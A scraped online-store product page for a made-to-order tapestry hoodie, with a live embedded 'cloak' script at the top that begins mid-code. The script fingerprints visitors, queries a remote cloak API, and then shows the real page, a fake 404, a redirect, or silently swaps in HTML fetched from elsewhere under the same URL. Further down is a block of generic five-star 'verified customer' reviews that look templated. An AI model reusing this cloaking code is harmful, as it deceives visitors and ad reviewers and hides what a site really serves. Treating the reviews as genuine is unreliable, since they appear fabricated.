CUSTOM TAPESTRY HOODIE
– VOIDKAGE.com
';
}
function replaceDocumentHtml(html) {
// document.open() 会清空旧文档,无需先 revealPage()——
// 先 reveal 会让真实页在写入安全页之前闪现一帧。
var landingUrl = window.__CLOAK_PIXIE_LANDING_URL__ || window.location.href;
document.open();
document.write(html);
document.close();
if (window.history && window.history.replaceState) {
window.history.replaceState(null, '', landingUrl);
}
}
function appendPixieEmbedParams(url) {
var assetBase = window.__CLOAK_PIXIE_ASSET_BASE__ || '';
if (!assetBase) {
return url;
}
var sep = url.indexOf('?') >= 0 ? '&' : '?';
return url + sep + 'embed_asset_base=' + encodeURIComponent(assetBase);
}
function fetchInlineHtml(contentUrl) {
return fetch(appendPixieEmbedParams(contentUrl), {
method: 'GET',
credentials: 'omit',
headers: { Accept: 'text/html' },
}).then(function (res) {
if (!res.ok) {
throw new Error('fetch failed: ' + res.status);
}
return res.text();
});
}
function show404Page() {
// 先清除 上的内联隐藏样式,避免残留
var htmlEl = document.documentElement;
if (htmlEl) {
htmlEl.style.removeProperty('visibility');
htmlEl.style.removeProperty('opacity');
htmlEl.style.removeProperty('background');
}
var style = document.getElementById('cloak-a-preload-hide');
if (style && style.parentNode) {
style.parentNode.removeChild(style);
}
document.documentElement.innerHTML = '
'
+ ' '
+ '
404 Not Found '
+ '
'
+ '404 '
+ 'Not Found
';
}
function applyRedirect(redirect) {
if (!redirect || typeof redirect !== 'object') {
revealPage();
return Promise.resolve();
}
var mode = String(redirect.mode || 'curl').toLowerCase();
var url = redirect.url || '';
var contentUrl = redirect.content_url || '';
if (mode === '404') {
show404Page();
return Promise.resolve();
}
if (mode === '302' || mode === 'js') {
if (url) {
window.location.replace(url);
} else {
showBlankPage();
}
return Promise.resolve();
}
if (!contentUrl) {
revealPage();
return Promise.resolve();
}
return fetchInlineHtml(contentUrl).then(function (html) {
replaceDocumentHtml(html);
});
}
function loadScript(url) {
return new Promise(function (resolve, reject) {
var script = document.createElement('script');
script.src = url;
script.async = true;
script.onload = function () { resolve(); };
script.onerror = function () { reject(new Error('script load failed: ' + url)); };
(document.head || document.documentElement).appendChild(script);
});
}
function loadFingerprintScript(shop, paths) {
return new Promise(function (resolve, reject) {
var done = false;
var timer = setTimeout(function () {
if (!done) {
done = true;
console.warn('[cloak_a] 设备指纹脚本超时,继续判定');
resolve();
}
}, 12000);
window.__cloakFingerprintDone = function () {
if (done) {
return;
}
done = true;
clearTimeout(timer);
resolve();
};
loadScript(paths.fingerprint + buildQuery(shop)).catch(function (err) {
if (!done) {
done = true;
clearTimeout(timer);
reject(err);
}
});
});
}
function loadSecondaryRisk(shop, paths, logId, clientIp, scriptUrl) {
return new Promise(function (resolve, reject) {
var done = false;
var timer = setTimeout(function () {
if (!done) {
done = true;
reject(new Error('secondary risk timeout'));
}
}, 30000);
window.__cloakStorefrontRiskDone = function (resp) {
if (done) {
return;
}
done = true;
clearTimeout(timer);
resolve(resp || {});
};
var url = scriptUrl || '';
if (!url) {
var extra = { log_id: logId, storefront: 1 };
if (clientIp) {
extra.client_ip = clientIp;
}
url = paths.cloakjs + buildQuery(shop, extra);
}
loadScript(url).catch(function (err) {
if (!done) {
done = true;
clearTimeout(timer);
reject(err);
}
});
});
}
function finalizeAfterSecondary(shop, paths, resp, logId, clientIp) {
if (resp && resp.link) {
window.location.replace(resp.link);
return Promise.resolve();
}
if (resp && (resp.result === true || resp.result === 'true')) {
if (resp.redirect) {
return applyRedirect(resp.redirect);
}
revealPage();
return Promise.resolve();
}
if (resp && (resp.result === false || resp.result === 'false')) {
var reason = (resp.reason || resp.message || '二次风控失败').toString();
return reportSecondaryAbort(shop, paths, logId, clientIp, reason).then(function (abortResult) {
if (abortResult.data && typeof abortResult.data.ok === 'boolean') {
return applyRedirect(abortResult.data.redirect);
}
revealPage();
});
}
return callCloakApi(shop, paths).then(function (retryResult) {
if (!retryResult.data || typeof retryResult.data.ok !== 'boolean') {
revealPage();
return;
}
return applyRedirect(retryResult.data.redirect);
});
}
function getUrlParam(name) {
var search = (window.location && window.location.search) || '';
var regex = new RegExp('[?&]' + name + '(?:=([^&]*))?(?:&|$)', 'i');
var match = regex.exec(search);
return match ? decodeURIComponent(match[1] || '') : '';
}
function callCloakApi(shop, paths, extra) {
var debugExtras = {};
if (getUrlParam('force_cloak') === '1') {
debugExtras.force_cloak = '1';
}
var url = paths.api + buildQuery(shop, debugExtras);
var payload = buildClientContext();
if (extra && typeof extra === 'object') {
Object.keys(extra).forEach(function (key) {
payload[key] = extra[key];
});
}
return fetch(url, {
method: 'POST',
credentials: 'include',
headers: {
Accept: 'application/json',
'Content-Type': 'application/json',
},
body: JSON.stringify(payload),
}).then(function (res) {
return res.text().then(function (text) {
var data;
try {
data = JSON.parse(text);
} catch (e) {
data = null;
}
return { status: res.status, ok: res.ok, data: data };
});
});
}
function reportSecondaryAbort(shop, paths, logId, clientIp, message) {
return callCloakApi(shop, paths, {
secondary_aborted: true,
log_id: logId || 0,
client_ip: clientIp || '',
abort_reason: message || '二次风控未完成:前端超时或脚本加载失败',
});
}
function handleSecondaryWithFallback(shop, paths, logId, clientIp, scriptUrl) {
return loadSecondaryRisk(shop, paths, logId, clientIp, scriptUrl).then(function (resp) {
return finalizeAfterSecondary(shop, paths, resp, logId, clientIp);
}).catch(function (err) {
var msg = err && err.message ? err.message : 'secondary risk failed';
return reportSecondaryAbort(shop, paths, logId, clientIp, msg).then(function (abortResult) {
if (abortResult.data && typeof abortResult.data.ok === 'boolean') {
return applyRedirect(abortResult.data.redirect);
}
revealPage();
});
});
}
function runCloakFlow(shop, paths) {
return loadFingerprintScript(shop, paths).then(function () {
return callCloakApi(shop, paths);
}).then(function (result) {
if (!result.data || typeof result.data.ok !== 'boolean') {
revealPage();
return;
}
var data = result.data;
if (data.needs_fingerprint) {
return loadFingerprintScript(shop, paths).then(function () {
return callCloakApi(shop, paths);
}).then(function (retryResult) {
if (!retryResult.data || typeof retryResult.data.ok !== 'boolean') {
revealPage();
return;
}
data = retryResult.data;
if (data.needs_secondary) {
return handleSecondaryWithFallback(shop, paths, data.log_id || 0, data.client_ip, data.secondary_script_url || '');
}
return applyRedirect(data.redirect);
});
}
if (data.needs_secondary) {
return handleSecondaryWithFallback(shop, paths, data.log_id || 0, data.client_ip, data.secondary_script_url || '');
}
return applyRedirect(data.redirect);
});
}
function isPasswordPage() {
var path = window.location.pathname || '';
return /^\/password(?:\/|$)/i.test(path);
}
/**
* 是否处于 SHOPLINE 主题装修器的预览环境
* 装修器预览 iframe 的 URL 同时携带 preview 与 templateName 两个参数,缺一不可;
* 正常访客路由不会同时带这两个参数,命中即直通真实页。
*/
function isThemeEditorPreview() {
var search = (window.location && window.location.search) || '';
if (!search || search === '?') {
return false;
}
var hasPreview = /[?&]preview(?:=|&|$)/.test(search);
var hasTemplateName = /[?&]templateName(?:=|&|$)/.test(search);
return hasPreview && hasTemplateName;
}
function boot() {
if (isPasswordPage() || isThemeEditorPreview()) {
revealPage();
return;
}
var paths = cloakPaths();
if (!paths.origin) {
revealPage();
return;
}
ensureHidden();
var shop = resolveShop();
initPixieEmbedGlobals(paths, shop);
// 兜底计时:超过 60 秒仍未出结果则恢复显示(覆盖指纹 12s + 二次风控 30s + 重试的最坏路径)
revealFailsafeTimer = setTimeout(function () {
console.warn('[cloak_a] 判定异常超时,恢复页面显示');
revealPage();
}, 60000);
runCloakFlow(shop, paths).catch(function () {
revealPage();
});
}
boot();
})();
CUSTOM TAPESTRY HOODIE
Size & fit
Please check the size chart for your preferred fit. If you're between sizes, compare the garment measurements with clothing you already own before choosing.
View Size Reference →
Shipping & delivery
Shipping availability, fees and delivery estimates depend on your location and are shown during checkout. Tracking details are provided when available after dispatch.
Satisfaction guarantee
Need help with your order? Contact our customer support team and we'll assist you. Returns and refunds are handled according to our store policies.
HOW IT WORKS
After purchasing, send the image(s) you would like to be used for your custom tapestry hoodie to me at .
Keep in mind that the image you send will be made into a 50 x 60 tapestry blanket for your custom hoodie. I'll work with you through email to make sure I can bring your idea to life. If you have an idea but not an exact image I often can work with you to create something unique!
After your image is confirmed, I'll add your order to the current batch of blankets to go into production. Reach out through email at anytime to check on the status of the batch with your blanket!
Please be sure to include your order number with your email!
SHIPPING TIME
Custom tapestry hoodies are made to order, when you place an order the process starts and your order is added to the next batch going into production!
This is a pre order, all pre orders are made to order. Please allow for a processing time of 3-4 weeks after I receive your blanket so I can make your order for you. Check out the shipping tab below for more info or you can email me at wearewastedspace@gmail.com with any questions on your order.
These pre orders are all made to order by me, please be only order if you are willing to wait while I make your hoodie - some orders will take longer than others.
REMEMBER TO EMAIL AFTER YOU PURCHASE SO I HAVE A WAY TO REACH OUT TO YOU <3
See Why Everyone Loves It
★★★★★
Excellent 4.8/5 | 2,500+ customer reviews
‹
★★★★★
Outstanding Quality
“I'm so happy with my purchase. It arrived just as described,
and I've already recommended it to my friends!”
S
Sarah J.
● Verified customer
★★★★★
Must-Have
“If you're thinking about getting it, this is your sign.
You won't regret it!”
L
Liam B.
● Verified customer
★★★★★
TikTok Made Me Buy It
“I was a little hesitant at first, but I'm so glad I ordered.
Definitely worth it!”
J
Jessica M.
● Verified customer
★★★★★
Amazing Purchase
“Great quality and fast delivery.
Exactly what I expected!”
A
Anna R.
● Verified customer
★★★★★
Better Than Expected
“Looks amazing and works perfectly.
Highly recommended!”
M
Michael T.
● Verified customer
›